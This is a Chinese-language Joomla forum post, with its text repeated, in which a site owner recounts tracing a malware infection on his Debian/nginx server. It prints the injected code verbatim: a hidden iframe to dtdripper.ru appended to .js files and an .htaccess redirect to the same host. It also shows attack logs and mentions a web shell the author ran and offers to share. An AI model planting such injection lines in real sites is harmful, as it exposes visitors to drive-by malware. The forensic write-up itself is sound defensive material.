- 文章： 9
- 謝謝您收到： 3
網站被駭了 !! [分享] 我的殺馬歷程
2012-10-21 14:41 - 2012-10-21 14:50 #23530
來自 Bongo
Bongo created the topic: 網站被駭了 !! [分享] 我的殺馬歷程
勞保退休金可能會領不到,已經一肚子火了
網站又被植馬更是嘔,這下只有殺馬來一解怨氣
我的網站安裝好之後,我也不太去理會
所以也很久沒來台灣joomla
日前網站被駭,來這裡分享一下我的殺馬歷程
以下是殺馬過程,文長請慢慢看
主機設備
網站主機:Linode VPS
作業系統:Debian 6
網頁伺服器:nginx 1.0.15
joomla版本:2.5.1
PHP版本:5.2.17
mysql版本:5.1.54
日前發現網站發生異常
開啟網頁的頁面時PC上的掃毒軟體偵測到被攻擊
之後又有發生開啟網頁時網頁被導向到msn.com或google.com的現像
我的主機上有三個站台
一個使用php的論壇及一個joomla網站
這兩個使用php的網站都淪陷了
另一個純HTML網頁的站台則完全沒事
站上也有網友有網站被導向其他站點的現象
上網google了一番
看起來就是 eval base64 的問題
利用ssh登入主機後用以下指令查找
把有可能的檔案一一查看
看來看去實在是看不出一個所以然
資料先備份起來再說吧!!
覺得可能不是php的問題
然後再回到主機檢查nginx及php的設定檔
也沒有發現任何檔案被更動或異常的現像
/var/log/ 下的紀錄檔也一一查看
只有ssh一直被爆力入侵
我並未開啟root登入ssh的權限,並且使用fail2ban阻擋入侵,這個入侵到是沒有很担心
檢查登入的訊息,也都還正常
於是再用rkhunter掃了一番,還是沒有發現問題
在心灰意冷之際
回到網站上按了瀏覽器的重新整理
結果發現瀏覽器的狀態列左下角出現[正在等候dtdripper.ru的回應]訊息
真是怪了怎麼會連線到dtdripper.ru
再使用瀏覽器的檢視原始檔查看,也是沒有發現任何異樣
然後趕快再開啟文字編輯器,把剛剛下載回來的備份檔案,做多檔案搜尋dtdripper.ru
這一查不得了,所有的.js檔最後一行都被植入了以下代碼
趕緊把檔案全部修改後再上傳回主機
找到問題的原因,網站似乎是正常了
可惜的是好景不常,約莫一個小時後,網站再度淪陷
問題找到了,但是問題的源頭並沒有找到,這隻馬兒不知身在何處?
再一次的把檔案修改後上傳回主機,這次順更修改檔案的權限,讓.js不可寫入
這下總算是暫時止血了,但是問題並沒有解決
重灌系統應該最快的解決方式
但如果馬兒還留在備份資料裡,重灌也沒用,而且我並不想重灌
還是先找出這隻馬,看看問題出在那裡,再做版本更新
慢慢查找之後發現,這隻馬兒除了會修改.js檔
網頁目錄中如果有index.php也會在.htaccess植入以下代碼
列^241
行^59
因為代碼在行列很後面,開啟時會以為是空白
利用假日繼續找馬,把nginx的access.log開來檢查
檢查access.log真的是很無趣,又臭又長的,最後發現以下記錄
怎麼會執行joomla的tmp目錄中的這個檔案
附件是完整程式片段,看得出來是做什用的嗎?
我的論壇也不是vBulletin,我也不懂php,這實在不知道是幹麻用的,先拿來run看看好了
這一run不得了,我的天啊!這麼好用的工具
水能載舟亦能覆舟,工具端看您怎麼用了
網站上被擺上一隻,大概就全燬了
這程式想用的話,自己拿回去玩玩看,裡面是不是已經有木馬了,我可不清楚
玩完之後記得刪除,如果被植馬了,別怪我沒提醒
現在這隻馬,餵他吃點草還繼續留在站上,再看看後續的發展
至於我的網站上為什麼會被植入這隻馬,應該是從這裡開始吧
這是安裝了來路不明的套件之後的事了!!
如果您的網站有同樣的問題,小弟分享的殺馬歷程,希望對您有點幫助
以上報告完畢!!
最後順便請問
joomla套件安裝完之後,tmp目錄中的資料,joomla不會自己刪嗎?
網站又被植馬更是嘔,這下只有殺馬來一解怨氣
我的網站安裝好之後,我也不太去理會
所以也很久沒來台灣joomla
日前網站被駭,來這裡分享一下我的殺馬歷程
以下是殺馬過程,文長請慢慢看
主機設備
網站主機:Linode VPS
作業系統:Debian 6
網頁伺服器:nginx 1.0.15
joomla版本:2.5.1
PHP版本:5.2.17
mysql版本:5.1.54
日前發現網站發生異常
開啟網頁的頁面時PC上的掃毒軟體偵測到被攻擊
之後又有發生開啟網頁時網頁被導向到msn.com或google.com的現像
我的主機上有三個站台
一個使用php的論壇及一個joomla網站
這兩個使用php的網站都淪陷了
另一個純HTML網頁的站台則完全沒事
站上也有網友有網站被導向其他站點的現象
上網google了一番
看起來就是 eval base64 的問題
利用ssh登入主機後用以下指令查找
find /home/* -type f -name "*.php" |xargs grep "eval("
find /home/* -type f -name "*.php" |xargs grep "base64_decode"
find /home/* -type f -name "*.*" |xargs grep "msn.com"
find /home/* -type f -name "*.*" |xargs grep "google.com"把有可能的檔案一一查看
看來看去實在是看不出一個所以然
資料先備份起來再說吧!!
覺得可能不是php的問題
然後再回到主機檢查nginx及php的設定檔
也沒有發現任何檔案被更動或異常的現像
/var/log/ 下的紀錄檔也一一查看
只有ssh一直被爆力入侵
Oct 14 06:25:26 web sshd[22492]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=187.16.249.26 user
Oct 14 06:25:28 web sshd[22492]: Failed password for root from 187.16.249.26 port 55909 ssh2
Oct 14 06:25:58 web sshd[22494]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=187.16.249.26 user
Oct 14 06:26:00 web sshd[22494]: Failed password for root from 187.16.249.26 port 33787 ssh2
Oct 14 06:26:31 web sshd[22496]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=187.16.249.26 user
Oct 14 06:26:33 web sshd[22496]: Failed password for root from 187.16.249.26 port 39898 ssh2我並未開啟root登入ssh的權限,並且使用fail2ban阻擋入侵,這個入侵到是沒有很担心
檢查登入的訊息,也都還正常
於是再用rkhunter掃了一番,還是沒有發現問題
在心灰意冷之際
回到網站上按了瀏覽器的重新整理
結果發現瀏覽器的狀態列左下角出現[正在等候dtdripper.ru的回應]訊息
真是怪了怎麼會連線到dtdripper.ru
再使用瀏覽器的檢視原始檔查看,也是沒有發現任何異樣
然後趕快再開啟文字編輯器,把剛剛下載回來的備份檔案,做多檔案搜尋dtdripper.ru
這一查不得了,所有的.js檔最後一行都被植入了以下代碼
document.write('<iframe src="http://dtdripper.ru/Bermuda?8" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>');趕緊把檔案全部修改後再上傳回主機
找到問題的原因,網站似乎是正常了
可惜的是好景不常,約莫一個小時後,網站再度淪陷
問題找到了,但是問題的源頭並沒有找到,這隻馬兒不知身在何處?
再一次的把檔案修改後上傳回主機,這次順更修改檔案的權限,讓.js不可寫入
這下總算是暫時止血了,但是問題並沒有解決
重灌系統應該最快的解決方式
但如果馬兒還留在備份資料裡,重灌也沒用,而且我並不想重灌
還是先找出這隻馬,看看問題出在那裡,再做版本更新
慢慢查找之後發現,這隻馬兒除了會修改.js檔
網頁目錄中如果有index.php也會在.htaccess植入以下代碼
ErrorDocument 400 http://dtdripper.ru/Bermuda?8 行^59
因為代碼在行列很後面,開啟時會以為是空白
利用假日繼續找馬,把nginx的access.log開來檢查
檢查access.log真的是很無趣,又臭又長的,最後發現以下記錄
89.248.164.237 - - [15/Oct/2012:12:20:44 +0800] POST /tmp/jos_gieg.php HTTP/1.1 200 157 - Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0 -怎麼會執行joomla的tmp目錄中的這個檔案
附件是完整程式片段,看得出來是做什用的嗎?
This attachment is hidden for guests.
Please log in or register to see it.
Please log in or register to see it.
我的論壇也不是vBulletin,我也不懂php,這實在不知道是幹麻用的,先拿來run看看好了
這一run不得了,我的天啊!這麼好用的工具
水能載舟亦能覆舟,工具端看您怎麼用了
網站上被擺上一隻,大概就全燬了
這程式想用的話,自己拿回去玩玩看,裡面是不是已經有木馬了,我可不清楚
玩完之後記得刪除,如果被植馬了,別怪我沒提醒
現在這隻馬,餵他吃點草還繼續留在站上,再看看後續的發展
89.248.164.227 - - [21/Oct/2012:11:58:02 +0800] "POST /tmp/jos_gieg.php HTTP/1.1" 302 157 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"
89.248.164.227 - - [21/Oct/2012:12:20:21 +0800] "POST /tmp/jos_gieg.php HTTP/1.1" 302 157 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"
89.248.164.227 - - [21/Oct/2012:12:41:01 +0800] "POST /tmp/jos_gieg.php HTTP/1.1" 302 157 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"
89.248.164.227 - - [21/Oct/2012:13:04:19 +0800] "POST /tmp/jos_gieg.php HTTP/1.1" 302 157 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0"至於我的網站上為什麼會被植入這隻馬,應該是從這裡開始吧
84.247.61.27 - - [23/Mar/2012:08:59:27 +0800] POST /tmp/j.php HTTP/1.1 200 170 - Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1) Gecko/20110403 Firefox/3.6a1pre -
84.247.61.27 - - [23/Mar/2012:08:59:32 +0800] POST /tmp/j.php HTTP/1.1 200 161 - Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1) Gecko/20110403 Firefox/3.6a1pre -
84.247.61.27 - - [23/Mar/2012:08:59:35 +0800] GET /tmp/jos_gieg.php HTTP/1.1 200 28924 - Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2a1pre) Gecko/20090403 Firefox/3.6a1pre -這是安裝了來路不明的套件之後的事了!!
如果您的網站有同樣的問題,小弟分享的殺馬歷程,希望對您有點幫助
以上報告完畢!!
最後順便請問
joomla套件安裝完之後,tmp目錄中的資料,joomla不會自己刪嗎?
Please 登入 to join the conversation.
版主: Eddy